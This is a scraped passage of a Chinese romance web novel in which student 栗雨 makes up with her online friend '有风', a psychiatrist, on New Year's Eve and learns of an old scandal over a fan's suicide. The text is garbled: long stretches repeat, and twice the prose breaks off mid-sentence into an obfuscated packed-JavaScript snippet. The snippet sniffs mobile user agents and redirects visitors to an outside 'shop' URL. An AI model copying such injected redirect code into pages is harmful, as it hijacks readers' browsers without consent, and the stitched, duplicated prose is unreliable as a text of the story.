这就是他们一家三口目前主要的聊天方式,没有多余的关心,只有冰冷冷的通知。 脑海里忽然浮现出“粉色云朵”骂他冷血的场景,他几乎能够想象如果面对面站着时,小姑娘该是怎样的一种神态。 几分倔强,带着几分不服输。说话狠起来可真是毫不留情。 时有风忽然勾了勾唇,或许他这个人就是冷血吧。 /// 很快就到了跨年夜,说实话这是栗雨读大学以来,第一次这么不期待跨年。 今天已经是跟“有风”冷战的第七天了。 栗雨这几天一直强行使自己进入学习和健康的生活状态,虽然也有些成效,但心理负担还是很重。再加上长时间久坐,腰酸背痛已经找上了她,所以她打算出去走走。 可她没想到的是,一路导航很快就耗尽了她的手机电量,更可悲的是,她今天走得太急,没带充电宝。 这可怎么办呢? 夜色渐晚,栗雨站在街头,不知道该怎么回学校? 忽然,她瞥见了一个男人。 男人长身而立,正站在路灯下打电话。 那个男人……不正是周言婧的小叔叔? 栗雨犹豫了会儿,终于还是决定踱步走过去,她有些怯怯地开口:“小叔叔,我……我可以借一下你的手机吗?” 14. 释怀 知道? 听到男人的声音,栗雨愣了愣,心瞬间空了一秒。不知道为什么,她总觉得男人的声音有点熟悉,好像在哪里听到过。 “小叔叔,让姐姐陪我们一起玩,好不好?”周言婧跑到时有风身边,拉他的衣角,看着可怜巴巴的。 男人说了声:“好。” 周言婧顿时喜笑颜开,又跑过来可怜巴巴地拉着栗雨。 栗雨不好再推辞,朝着周言婧点点头,对男人说:“谢谢。” 停顿了下,又唤了声:“小叔叔。” 不知道为什么,她觉得这么喊怪怪的,但是喊哥哥的话,会不会更奇怪啊…… 夜色渐晚,西延市中心车水马龙。 长江一边,人群纷扰,隔江远望,建筑物接连起伏,静静耸立在夜色之中,霓虹灯灯光璀璨。 “姐姐,你快看,那边好漂亮。” “是啊,好漂亮。”栗雨站在轮渡上吹着风,突然觉得什么烦恼都可以忘掉了。 “姐姐,我带了拍立得耶。”周言婧从书包里拿出一个富士mini。 栗雨倏然转身,勾唇笑笑,还没来得及过去,就看见女孩儿已经将相机对着自己。 画面定格。 栗雨微愣,就看到周言婧拿着相纸朝自己挥了挥手:“太美了!姐姐快过来看。” 她走过去,在看到相纸的时候被自己惊艳了两秒。其实她这几天状态不算特别好,今天出门前特意涂了层气垫,没想到加上拍立得的滤镜,看着皮肤竟然这么白。 末了,周言婧又拿着自己的得意作品跑到时有风身边:“小叔叔,你看!姐姐是不是很漂亮?” 旁边的周言熙不服:“周言婧你怎么不问我?” 周言婧朝他翻了个白眼:“就你那审美。” 周言熙切了声:“栗雨可是我们系公认的系花好吗?” 系……系花? 栗雨愣住。她怎么不知道。 这一番夸赞倒让她不好意思起来。 男人站在那儿默不作声,拧开了一罐啤酒,看着似乎有些怅然。 突然有一对情侣从她面前经过,隔开了视线。栗雨微微出神,听觉开始变得敏感。 “有时候感叹命运真的好奇妙,就这么把我们牵在一起。” “好喜欢你。” “我也是。” “那亲爱的女朋友,我什么时候可以带你见家长?” “一切顺其自然就好。” 命运。 这是栗雨跟“有风”冷战以来,第二次听见这个词。 “命运”这个词代表着什么呢?一种千帆过尽仍少年的释然,一种兜兜转转原来还是你的奇妙,还是……一种不得不面对残酷现实的无奈? 只能接受用它来赞扬美,却不能接受苦痛。是不是太不公平了? 一直到下船,栗雨都在思考这个问题。 直到身旁男人的声音在耳边响起:“我送你回去。” “嗯?”栗雨抬头,这才发现周言婧和周言熙早就不知道跑哪里了。 时有风或许知道栗雨在想什么,开口说:“我姐和姐夫刚好路过,把他们接走了。” 她点头:“好,那麻烦您了。” 一路无言,栗雨坐在副驾驶上如坐针毡,精神高度集中,目光直视前方。车内空调呼呼地吹,她有些紧张,脸没一会儿就被蒸成了红苹果。 时有风余光瞥着栗雨,在红灯停下的时候,把空调的温度调低,还顺手打开了音乐播放器。 动听的旋律像宁静的河水缓缓流淌,是郁可唯的《去有风的地方》。 果不其然,在音乐的熏陶下,栗雨很快就忘却了紧张。 晚上有点堵车,一直到九点半,他们才到学校门口。 “今天谢谢您,我先走了。”栗雨客气地开口,然后慌忙不迭地下车。 就在刚刚她心里忽然有了答案。 这个点校车已经停运,她只好迈开双腿奔跑着。 此时此刻,她迫不及待地想要回去把手机充上电,打开“绿洲”,告诉“有风”,是我错了。 是她错了。 她开始懊悔自己当时太过冲动,没控制好自己的情绪,以至于丧失理智。 想通了这点之后,栗雨忽然觉得心里通畅许多。有时候,敢于面对那个戴着面具的自己,也是一件值得令人兴奋的事情。 今晚她们三人都不回来,就只剩栗雨一人。一到寝室,她把灯打开,一个箭步冲到座位上,给手机插上电。 【pinkcloud:对不起,我承认之前是我太冲动了。】 【pinkcloud:如果那些话伤到你的话我很抱歉。】 【pinkcloud:可以再给我一次机会吗?】 栗雨喘着气打字,就在刚刚她突然觉得,她跟“有风”就像对坐下棋的人,在黑白世界里来回博弈。 一开始她期望赢,然后慢慢看淡,最后沉浸在对弈的过程中忘乎所以。只要执棋的还是那个人,只要对弈的过程还是这般有趣。 只要她还想看清自己的内心。 一个半小时后,栗雨终于又收到了“有风”的回复。 【有风:好。】 她没想到他的回复竟然这么简单,于是问道。 【pinkcloud:你不生气?】 【有风:你只是表现出了自我。】 自我? 是啊。那个她不喜欢的样子也是“自我”的一部分。 【有风:只不过这一部分的自我,你需要控制。】 【pinkcloud:我……】 这种下意识不想接受,但又觉得有道理的感觉好奇妙。栗雨突然有点词穷。 好在他们的对话中,“有风”一直是主导。 【有风:关于你妈妈的事,我很抱歉。】 【有风:事实已经如此,不论怎样都无法改变。】 【有风:人生有很多道坎。或许有的坎很小,你稍微动动腿就迈过去了,也或许有的坎很大,你觉得很痛苦,好像怎么也过不去。但不论大坎还是小坎,你都要一一迈过,只有这样,你才能有所经历,得到成长。】 虽然意识到自己的问题,但直接跨到怎么做层面,栗雨还是有些力不从心。 她回了个“好的”。 眼看着时间马上就要过零点,栗雨特意掐着点给“有风”发送祝福。 【pinkcloud:元旦快乐!】 他回了个“烟花”的表情包。 手机电量很快满格,栗雨洗漱上床。 不知道为什么,她突然开始幻想跟“有风”见面的那一天。这样的一个人究竟长什么样子呢?他们见面会做什么事呢? 过了一会儿,这种想见面的欲望竟然越来越强烈,栗雨拿起手机表达自己的想法。 【pinkcloud:突然想跟你见面了。但是我们还有考试没考完。】 【有风:什么时候考完?】 【pinkcloud:一月七日,星期三。太阳.jpg】 【有风:可以等你考完再见面。】 【pinkcloud:不过我要再考虑一下。】 【有风:嗯。】 【pinkcloud:如果中途要反悔,应该也是可以的吧。】 【有风: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987439|192831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗯。毕竟腿在你身上。】 【pinkcloud:那我要睡觉啦,你也早点休息,晚安。】 【有风:晚安。】 许是睡前栗雨的精神忽然放松,这一夜她睡得极好,也没有半夜时分醒来。 早上,她迷迷糊糊拿起手机,发现“绿洲”发来了几条通知。栗雨还以为是“有风”,没想到一点开,竟然是一个昵称叫“知慧”的新粉丝的私信。 【知慧:哈喽妹妹,你好可爱啊~看你主页感觉你是一个热爱生活的人,可以交个朋友吗?】 栗雨下意识想要退缩,社恐的她决定先发一个“握手”的表情包。 【知慧:你竟然跟“有风”互关了,你是他三次元的朋友还是网友?】 【pinkcloud:只是网友。】 栗雨不明白对方怎么这么快就扯到了“有风”身上,她决定保持警惕。 【知慧:妹妹。】 【知慧:你还不知道吧,这个男人不是什么好人。他的瓜可多了。】 看到这条消息,栗雨的眉头蹙得更紧。 怎么又有人来乱说? 她本能的不能接受别人说身边朋友的坏话。 【pinkcloud:什么意思?】 【知慧:不信你去他的超话搜索搜索,反正几年前脱粉的人都知道。】 栗雨直接婉拒。 【pinkcloud:不好意思,我没兴趣。】 【知慧:妹妹,你先别急着拒绝,我只是不想你被骗。】 说着,这个叫“知慧”的人又转发来几个帖子,然后冷冷地发了一条信息。 【知慧:事实如此,你自己判断吧。】 栗雨点开。 这的的确确是“有风”超话里的帖子,时间基本都在2020年,也就是他动态骤减的那一年。 她仔细看了看事情的来龙去脉。 没想到,“有风”当年竟然还发生了这种事。 /// 2020年,有一个叫“默默”的女生喜欢上了“有风”,给他手写了好几封情书,多次表明自己对他的爱意,可惜,却被“有风”残忍拒绝。 女生并没有退却,反而愈发热情,不知怎么扒出来了“有风”的工作单位,每天都去偶遇他。被扰乱工作和生活,“有风”不得不答应私底下跟“默默”见一面,并且希望她不要再打扰自己的生活。 没想到,“默默”说自己有重度抑郁,只是希望“有风”能帮助她恢复正常。 “有风”欣然答应。可不知怎么二人闹得愈发不愉快,“默默”心灰意冷用跳楼威胁他,“有风”置之不理,没想到“默默”最后竟然真的跳了楼,结束自己的生命。 此事一出,大家都觉得是“有风”不负责任,纷纷讨伐他,可他仍旧没有任何回应。 当时闹得腥风血雨,“有风”掉了很多粉丝,也因此逐渐淡出大家的视线。 栗雨好奇,又去他超话里搜了搜关键词。她一直没有看超话的习惯,所以还从来没有怎么看过“有风”的超话。没想到现在,超话里竟然还有不少有关这个事件的帖子。 不知道为什么,这件事竟然在2026年元旦当天,登上了微博热搜,并且广场基本都是骂声,即使也有不少替“有风”说话的粉丝,但很快就淹没在一些人云亦云的声音里。 栗雨愣了愣,尽管已经了解事情的大概,但还是选择相信。 她给“有风”发了个“抱抱”的表情包。 【有风:?】 她打字解释,语气委婉。 【pinkcloud:热搜上的事……】 【有风:是真的。】 15. 听风 栗雨强迫自己学习,却根本没什么心情。 一个小时后,手机仍没有任何来自“绿洲”的消息通知。栗雨心想,“有风”明明知道自己生气,却依然无动于衷。 原来,她的情绪在他心里就这么不重要,这么无所谓。那……凭什么她的情绪要受到他的影响?! 栗雨把书摔在桌子上,换好衣服匆匆下楼。她扫了一辆共享单车,一边骑一边咬着嘴唇告诉自己,“有风”算个什么?他根本不重要。凭什么自己要因为他心情大起大落的? 既然“有风”认为她不重要,那她也要把跟“有风”的聊天当成游戏。游戏已经开始,而她栗雨的字典里怎么可能会有“认输”这两个字?! 栗雨咬咬牙。 等着吧。 有风。 我们的游戏才刚刚开始,这是一场心理博弈,谁输谁赢还不一定呢?总有一天,我一定会痛痛快快地赢你,然后得到我想要的一切。 没有你。 我依然活得精彩! /// 西延市第一医院,心理科医生办公室。 时有风放下手机,捏了捏眉心。 虽然早就料到有这么一天,但这样的“粉色云朵”还真让他有些不习惯。 忽然听到敲门声,他说了声:“请进。” 来人是他的助理何幸:“时医生,这有个治疗方案需要您签个字。” “嗯。”时有风接过方案,仔细翻看确认无误之后,大手一挥写下自己的名字。 就在何幸准备转身离开的时候,他叫住她:“等等。” 何幸愣住,转过身问:“时医生,还有什么事吗?” 时有风不解地问道:“我冷血么?” “啊?” 一开始何幸完全没有反应过来,毕竟跟在他身边久了,就会发现时有风是个十足十的事业狂,虽然对情感问题的疗愈颇为擅长,但自身的情感却很是淡漠。 愣了好一会儿,她才点点头说:“是有点冷。” 说完,何幸连忙一溜烟溜走,还不忘带上门,将时有风那张阴沉得要结冰的脸隔离在视线之外。 她跑出去,跟值班的同事讨论起来:“你们有没有觉得时医生最近有点不对劲?” 时医生是何许人物?那可是心理科的讨论焦点,不仅学历高,人还长得帅气,年纪轻轻就大有作为,真不知道上帝给他关闭了哪扇窗。 嗯……可能是感情的窗,不然怎么快三十岁了还没女朋友? 一听到他,同事们都亮起眼睛:“怎么说?” “我刚刚找他签字,他居然问我他冷不冷血?”何幸一副看破天机的样子,“依我看,八成是谈恋爱,太高冷被女朋友嫌弃了。” 几个人聊得正起劲,时有风忽然面无表情地从几人身边经过,吓得他们赶紧闭嘴。 转眼已经到下班时间,时有风刚坐进车里就接到一通电话。 他把蓝牙耳机塞好:“喂。” 电话那头传来一阵冷冷的女声:“儿子,元旦放假去看看你奶奶。” “嗯,我知道了。” 话音一落,通话已经被挂断。 他低头看向手机。 时宴安三分钟前给他发了篇公众号推送。他想也没想,便回了个“收到”。 这就是他们一家三口目前主要的聊天方式,没有多余的关心,只有冰冷冷的通知。 脑海里忽然浮现出“粉色云朵”骂他冷血的场景,他几乎能够想象如果面对面站着时,小姑娘该是怎样的一种神态。 几分倔强,带着几分不服输。说话狠起来可真是毫不留情。 时有风忽然勾唇笑了,或许他这个人就是冷血吧。 /// 很快就到了跨年夜,魏琪和江悦早已有了安排,一个要去参加音乐会,一个要陪男朋友。而虞沁则由于朋友要来找她玩,十分抱歉地跟栗雨道别。 栗雨嘴上说着没事,但寝室里真只剩下她一个人时,那种没来由的寂寞还是包围了她。 说实话这是栗雨读大学以来,第一次这么不期待跨年。没有妈妈准点发来的元旦快乐以及红包,没有如约而至的视频通话,“过年”也没了任何期待。 时间一过渡到下午,栗雨心里的孤独感更甚。她不想学习,也懒得追剧,下意识打开“绿洲”,这才发现今天已经是跟“有风”冷战的第七天了。 栗雨又翻了翻他们之间的聊天对话。 其实那天之后,她已经反思过,觉得自己是有些冲动,可转念一想,若非“有风”说出那样的话,她也不会一气之下噼里啪啦打出那些伤人的文字。以她的秉性,是不可能主动跟“有风”道歉的。 她又关掉手机,忽然觉得身体乏累。 栗雨这几天一直强行让自己进入学习和健康的生活状态,虽然也有些成效,但心理负担还是很重。再加上长时间久坐,腰酸背痛已经找上了她。 栗雨用一分钟时间做了一个决定—— 今晚,她打算一个人出去走走。 跨年夜各大商场和文艺街都有活动,人肯定很多,栗雨不太想去凑热闹,在小红书搜了一番,又没发现什么冷门又小众的宝藏打卡地,出了校门,她决定不看导航,走到哪里算哪里。 就这么一直走了半个多小时,栗雨停下脚步的时候已经不知道自己身在何处了。她摁了摁手机,竟然没反应,什么情况?手机没电了?更倒霉的是,她今天走得太急,没带充电宝。 这可怎么办呢? 她这是在哪里? 夜色渐晚,栗雨站在街头,正束手无策,忽然,她瞥见了一个男人。 男人长身而立,正站在路灯下打电话。 ……不正是周言婧的小叔叔? 栗雨心里一喜,下意识往他的方向走,但走了几步又突然停下,万一他不认识自己,会不会很尴尬? 管他呢? 到底是面子重要,还是回学校重要?! 她加快脚步,忽然听到有人在身后喊她:“姐姐~” 栗雨顿住脚步,回头。 “好巧啊,姐姐。” “是好巧啊,又见面了。”不知道为什么,见到周言婧,栗雨的心一下子放松不少。 她勾唇笑着,下一秒就见小姑娘拉住自己的手,眨着圆溜溜的大眼睛问:“姐姐,你一个人吗?” 栗雨点头。 “那你可以跟我们一起玩吗?” “啊~” “小叔叔准备带我和哥哥去码头坐轮渡。” “我……” “栗雨?”周言熙背着包过来,许是跑得太快,现在还有些喘。 刚刚还在打电话的男人已经走了过来。 栗雨还没来得及答复,就听到周言熙介绍说:“小叔叔,这是我同班同学,栗雨。” 栗雨跟他打招呼,特意用了敬称:“您好~” 她抬眼看向他,见他没什么特别的反应,果然很高冷,正准备收回目光的时候,却见他淡淡开口:“知道。” 知道? 听到男人的声音,栗雨愣了愣,心瞬间空了一秒。不知道为什么,她总觉得男人的声音有点熟悉,好像在哪里听到过,但仔细搜索大脑,又想不起来。 谁让她只有七秒钟的记忆呢? “小叔叔,让姐姐陪我们一起玩,好不好?”周言婧跑到时有风身边,拉他的衣角,看着可怜巴巴的。 男人说了声:“好。” 周言婧顿时喜笑颜开,又跑过来可怜巴巴地拉着栗雨。 栗雨不好再推辞,朝着周言婧点点头,对男人说:“谢谢,那麻烦了。” 停顿了下,又唤了声:“小叔叔。” 不知道为什么,她觉得这么喊怪怪的,但是喊哥哥的话,会不会更奇怪啊…… 夜色渐晚,转眼间月亮已经悄悄爬上树梢,繁星点缀。 长江一边,人群纷扰,隔江远望,建筑物接连起伏,静静耸立在夜色之中,霓虹灯灯光璀璨。 “姐姐,你快看,那边好漂亮。” “是啊,好漂亮。”栗雨站在轮渡上吹着风,面对浩浩长江,突然觉得什么烦恼都可以忘掉了。 “姐姐,我带了拍立得耶。”周言婧从书包里拿出一个富士mini。 栗雨倏然转身,勾唇笑笑,还没来得及过去,就看见女孩儿已经将相机对着自己。 画面定格。 栗雨微愣,就看到周言婧拿着相纸朝自己挥了挥手:“太美了!姐姐快过来看。” 她走过去,在看到相纸的时候被自己惊艳了两秒。其实她这几天状态不算特别好,今天出门前特意涂了层气垫,没想到加上拍立得的滤镜,皮肤竟然看起来这么白。 末了,周言婧又拿着自己的得意作品跑到时有风身边:“小叔叔,你看!姐姐是不是很漂亮?” 旁边的周言熙不服:“周言婧你怎么不问我?” 周言婧朝他翻了个白眼:“就你那审美。” 周言熙切了声:“栗雨可是我们系公认的系花好吗?” 系……系花? 栗雨愣住。她怎么不知道。 这一番夸赞倒让她不好意思起来。 男人站在那儿默不作声,拧开了一罐啤酒,看着似乎有些怅然。 突然有一对情侣从她面前经过,隔开了视线。栗雨微微出神,听觉开始变得敏感。 “有时候感叹命运真的好奇妙,就这么把我们牵在一起。” “好喜欢你。” “我也是。” “那亲爱的女朋友,我什么时候可以带你见家长?” “一切顺其自然就好。” 命运。 这是栗雨跟“有风”冷战以来,第二次听见这个词。 “命运”这个词代表着什么呢?一种千帆过尽仍少年的释然,一种兜兜转转原来还是你的奇妙,还是……一种不得不面对残酷现实的无奈? 只能接受用它来赞扬美,却不能接受苦痛。是不是太不公平了? 一直到下船,栗雨都在思考这个问题。 直到身旁男人的声音在耳边响起:“我送你回去。” “嗯?”栗雨抬头,这才发现周言婧和周言熙早就不知道跑哪里了。 时有风或许知道栗雨在想什么,开口说:“我姐和姐夫刚好路过,把他们接走了。” 她点头:“好,那麻烦您了。” “小心。” 栗雨竟然扑到了他怀里…… 怦然心动的感觉再次。 一路无言,栗雨坐在副驾驶上如坐针毡,精神高度集中,目光直视前方。车内空调呼呼地吹,她有些紧张,脸没一会儿就被蒸成了红苹果。 时有风余光瞥着栗雨,在红灯停下的时候,把空调的温度调低,还顺手打开了音乐播放器。 动听的旋律像宁静的河水缓缓流淌,是郁可唯的《去有风的地方》。果不其然,在音乐的熏陶下,栗雨很快就忘却了紧张。 晚上有点堵车,一直到九点半,他们才到学校门口。 “今天谢谢您,我先走了。”栗雨客气地开口,然后慌忙不迭地下车。…… 就在刚刚她心里忽然有了答案。 这个点校车已经停运,她只好迈开双腿奔跑着。 此时此刻,她迫不及待地想要回去把手机充上电,打开“绿洲”,告诉“有风”,是我错了。 是她错了。 她开始懊悔自己当时太过冲动,没控制好自己的情绪,以至于丧失理智。 想通了这点之后,栗雨忽然觉得心里通畅许多。有时候,敢于面对那个戴着面具的自己,也是一件值得令人兴奋的事情。 今晚她们三人都不回来,就只剩栗雨一人。一到寝室,她把灯打开,一个箭步冲到座位上,给手机插上电。 【pinkcloud:对不起,我承认之前是我太冲动了。】 【pinkcloud:如果那些话伤到你的话我很抱歉。】 【pinkcloud:可以再给我一次机会吗?】 栗雨喘着气打字,就在刚刚她突然觉得,她跟“有风”就像对坐下棋的人,在黑白世界里来回博弈。 一开始她期望赢,然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17031169|192831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后慢慢看淡,最后沉浸在对弈的过程中忘乎所以。只要执棋的还是那个人,只要对弈的过程还是这般有趣。 只要她还想看清自己的内心。 一个半小时后,栗雨终于又收到了“有风”的回复。 【有风:好。】 她没想到他的回复竟然这么简单,于是问道。 【pinkcloud:你不生气?】 【有风:你只是表现出了自我。】 自我? 是啊。那个她不喜欢的样子也是“自我”的一部分。 【有风:只不过这一部分的自我,你需要控制。】 【pinkcloud:我……】 这种下意识不想接受,但又觉得有道理的感觉好奇妙。栗雨突然有点词穷。 好在他们的对话中,“有风”一直是主导。 【有风:关于你妈妈的事,我很抱歉。】 【有风:事实已经如此,不论怎样都无法改变。】 【有风:人生有很多道坎。或许有的坎很小,你稍微动动腿就迈过去了,也或许有的坎很大,你觉得很痛苦,好像怎么也过不去。但不论大坎还是小坎,你都要一一迈过,只有这样,你才能有所经历,得到成长。】 虽然意识到自己的问题,但直接跨到怎么做层面,栗雨还是有些力不从心。 她回了个“好的”。 眼看着时间马上就要过零点,栗雨特意掐着点给“有风”发送祝福。 【pinkcloud:元旦快乐!】 他回了个“烟花”的表情包。 手机电量很快满格,栗雨洗漱上床。 不知道为什么,她突然开始幻想跟“有风”见面的那一天。这样的一个人究竟长什么样子呢?他们见面会做什么事呢? 过了一会儿,这种想见面的欲望竟然越来越强烈,栗雨拿起手机表达自己的想法。 【pinkcloud:突然想跟你见面了。但是我们还有考试没考完。】 【有风:什么时候考完?】 【pinkcloud:一月七日,星期三。太阳.jpg】 【有风:可以等你考完再见面。】 【pinkcloud:不过我要再考虑一下。】 【有风:嗯。】 【pinkcloud:如果中途要反悔,应该也是可以的吧。】 【有风:嗯。毕竟腿在你身上。】 【pinkcloud:那我要睡觉啦,你也早点休息,晚安。】 【有风:晚安。】 许是睡前栗雨的精神忽然放松,这一夜她睡得极好,也没有半夜时分醒来。 早上,她迷迷糊糊拿起手机,发现“绿洲”发来了几条通知。栗雨还以为是“有风”,没想到一点开,竟然是一个昵称叫“知慧”的新粉丝的私信。 【知慧:哈喽妹妹,你好可爱啊~看你主页感觉你是一个热爱生活的人,可以交个朋友吗?】 栗雨下意识想要退缩,社恐的她决定先发一个“握手”的表情包。 【知慧:你竟然跟“有风”互关了,你是他三次元的朋友还是网友?】 【pinkcloud:只是网友。】 栗雨不明白对方怎么这么快就扯到了“有风”身上,她决定保持警惕。 【知慧:妹妹。】 【知慧:你还不知道吧,这个男人不是什么好人。他的瓜可多了。】 看到这条消息,栗雨的眉头蹙得更紧。 怎么又有人来乱说? 她本能的不能接受别人说身边朋友的坏话。 【pinkcloud:什么意思?】 【知慧:不信你去他的超话搜索搜索,反正几年前脱粉的人都知道。】 栗雨直接婉拒。 【pinkcloud:不好意思,我没兴趣。】 【知慧:妹妹,你先别急着拒绝,我只是不想你被骗。】 说着,这个叫“知慧”的人又转发来几个帖子,然后冷冷地发了一条信息。 【知慧:事实如此,你自己判断吧。】 栗雨点开。 这的的确确是“有风”超话里的帖子,时间基本都在2020年,也就是他动态骤减的那一年。 她仔细看了看事情的来龙去脉。 没想到,“有风”当年竟然还发生了这种事。 /// 2020年,有一个叫“默默”的女生喜欢上了“有风”,给他手写了好几封情书,多次表明自己对他的爱意,可惜,却被“有风”残忍拒绝。 女生并没有退却,反而愈发热情,不知怎么扒出来了“有风”的工作单位,每天都去偶遇他。被扰乱工作和生活,“有风”不得不答应私底下跟“默默”见一面,并且希望她不要再打扰自己的生活。 没想到,“默默”说自己有重度抑郁,只是希望“有风”能帮助她恢复正常。 “有风”欣然答应。可不知怎么二人闹得愈发不愉快,“默默”心灰意冷用跳楼威胁他,“有风”置之不理,没想到“默默”最后竟然真的跳了楼,结束自己的生命。 此事一出,大家都觉得是“有风”不负责任,纷纷讨伐他,可他仍旧没有任何回应。 当时闹得腥风血雨,“有风”掉了很多粉丝,也因此逐渐淡出大家的视线。 栗雨好奇,又去他超话里搜了搜关键词。她一直没有看超话的习惯,所以还从来没有怎么看过“有风”的超话。没想到现在,超话里竟然还有不少有关这个事件的帖子。 不知道为什么,这件事竟然在2026年元旦当天,登上了微博热搜,并且广场基本都是骂声,即使也有不少替“有风”说话的粉丝,但很快就淹没在一些人云亦云的声音里。 栗雨愣了愣,尽管已经了解事情的大概,但还是选择相信。 她给“有风”发了个“抱抱”的表情包。 【有风:?】 她打字解释,语气委婉。 【pinkcloud:热搜上的事……】 【有风:是真的。】